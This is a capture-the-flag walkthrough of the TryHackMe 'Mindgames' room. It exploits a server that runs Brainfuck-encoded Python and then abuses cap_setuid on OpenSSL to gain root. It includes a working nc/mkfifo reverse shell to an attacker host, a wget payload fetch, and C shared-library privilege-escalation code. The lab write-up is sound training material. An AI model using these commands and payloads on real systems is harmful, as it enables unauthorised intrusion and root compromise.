Mindgames is a creative medium-difficulty TryHackMe room that features an unusual attack vector: a web application that executes Python code encoded in Brainfuck. The challenge requires understanding esoteric programming languages, exploiting code execution, and leveraging Linux capabilities for privilege escalation.
Key Techniques:
cap_setuid on OpenSSLnmap -sC -sV -oA nmap/mindgames <TARGET_IP>
Results:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Standard web application setup with SSH and HTTP.
Upon visiting the web page, I was greeted with an interesting interface:

The page contained what appeared to be Brainfuck code displayed in a text area, with an option to execute it. For those unfamiliar, Brainfuck is an esoteric programming language consisting of only 8 characters (>, <, +, -, ., ,, [, ]).
When I decoded the displayed Brainfuck text and submitted it, the application executed Python code:

This was a critical discovery: the application takes Brainfuck-encoded Python code and executes it on the server.

Understanding the Vulnerability: The application workflow is:
- User submits Brainfuck code
- Server decodes Brainfuck → Python
- Server executes the Python code
- Output is returned to the user
This is a Remote Code Execution (RCE) vulnerability, but with an obfuscation layer (Brainfuck encoding).
To confirm the extent of code execution, I created a Python script to read /etc/passwd:
def read_file(path):
try:
with open(path, "r") as file:
content = file.read()
print(content)
except PermissionError:
print("Permission denied: You don't have access to this file")
except FileNotFoundError:
print("File not found")
except Exception as e:
print(f"Error: {e}")
read_file("/etc/passwd")
I used an online Brainfuck encoder (I built one myself at keysec.in) to encode this Python code:

Submitting the encoded version successfully returned the contents of /etc/passwd:

This confirmed arbitrary file read and Python code execution.
Next, I tested if I could execute system commands using Python's subprocess module:
import subprocess
def run_command(cmd):
try:
result = subprocess.check_output(
cmd,
shell=True,
stderr=subprocess.STDOUT,
universal_newlines=True
)
print(result)
except subprocess.CalledProcessError as e:
print("Command failed")
print(e.output)
run_command("id")
run_command("uname -a")


Full command execution confirmed!
With command execution established, obtaining a reverse shell was straightforward. I crafted a Python script that executes a bash reverse shell:
import subprocess
def run_command(cmd):
try:
result = subprocess.check_output(
cmd,
shell=True,
stderr=subprocess.STDOUT,
universal_newlines=True
)
print(result)
except subprocess.CalledProcessError as e:
print("Command failed")
print(e.output)
run_command("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <ATTACKER_IP> 6666 >/tmp/f")
I encoded this in Brainfuck, set up my listener, and submitted:

nc -lvnp 6666

I had a shell as mindgames user!
mindgames@mindgames:~$ cat user.txt
THM{REDACTED}
I ran standard enumeration to find privilege escalation paths:
getcap -r / 2>/dev/null
Results:
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/openssl = cap_setuid+ep
/home/mindgames/webserver/server = cap_net_bind_service+ep
The critical finding was /usr/bin/openssl having cap_setuid+ep.
The cap_setuid capability allows a process to set its UID to any value, including 0 (root). OpenSSL has a feature to load dynamic engine libraries, which we can exploit.
The Attack Plan:
openssl engineAfter researching various approaches (and encountering several compilation errors—more on that below), I found a working payload:
#include <unistd.h>
__attribute__((constructor))
static void init() {
setuid(0);
execl("/bin/sh","sh",NULL);
}
The __attribute__((constructor)) directive tells the compiler to run this function when the library is loaded—before main() would typically execute.
On my attacker machine:
# Compile to object file
gcc -fPIC -o exploit.o -c priv_esca.c
# Create shared library
gcc -shared -o priv.so exploit.o -lcrypto

I transferred priv.so to the target using a Python HTTP server:
# Attacker
python3 -m http.server 8000
# Target
wget http://<ATTACKER_IP>:8000/priv.so -O /tmp/priv.so

Then loaded it with OpenSSL:
openssl engine -t /tmp/priv.so

Root shell obtained!
# cat /root/root.txt
THM{REDACTED}
During the privilege escalation phase, I encountered several errors that are worth documenting for learning purposes.
I initially tried using the OpenSSL Engine API directly:
#include <openssl/engine.h>
static int bind(ENGINE *e, const char *id) {
setuid(0); setgid(0);
system("/bin/bash");
}
IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()
Error:
error: implicit declaration of function 'setuid'
error: implicit declaration of function 'setgid'
Why it failed: The OpenSSL headers don't include <unistd.h>, which defines setuid() and setgid().
#include <openssl/engine.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static const char *engine_id = "test";
static const char *engine_name = "hope it works";
static int bind(ENGINE *e, const char *id)
{
// ... engine setup code ...
setuid(0);
setgid(0);
system("chmod +s /bin/bash");
system("echo Complete!");
return 1;
}
IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()
Why it failed: While this compiles, the complex ENGINE initialization was unnecessary and introduced potential failure points. The simpler __attribute__((constructor)) approach works because it triggers on library load, regardless of how OpenSSL uses the engine.
Key Lesson: When exploiting library loading capabilities, simpler payloads using constructor attributes are often more reliable than trying to hook into the application's expected interfaces.
Esoteric Languages as Obfuscation: Brainfuck encoding doesn't provide security—it's just obfuscation. The underlying vulnerability (code execution) remains exploitable.
Linux Capabilities: Capabilities like cap_setuid are powerful privilege escalation vectors. Always check with getcap -r / 2>/dev/null.
Constructor Attributes: The __attribute__((constructor)) GCC extension is extremely useful for exploits that rely on library loading.
Research Failed Attempts: Documenting what didn't work is as valuable as showing what did. It demonstrates thorough methodology and helps others avoid the same pitfalls.
Happy Hacking!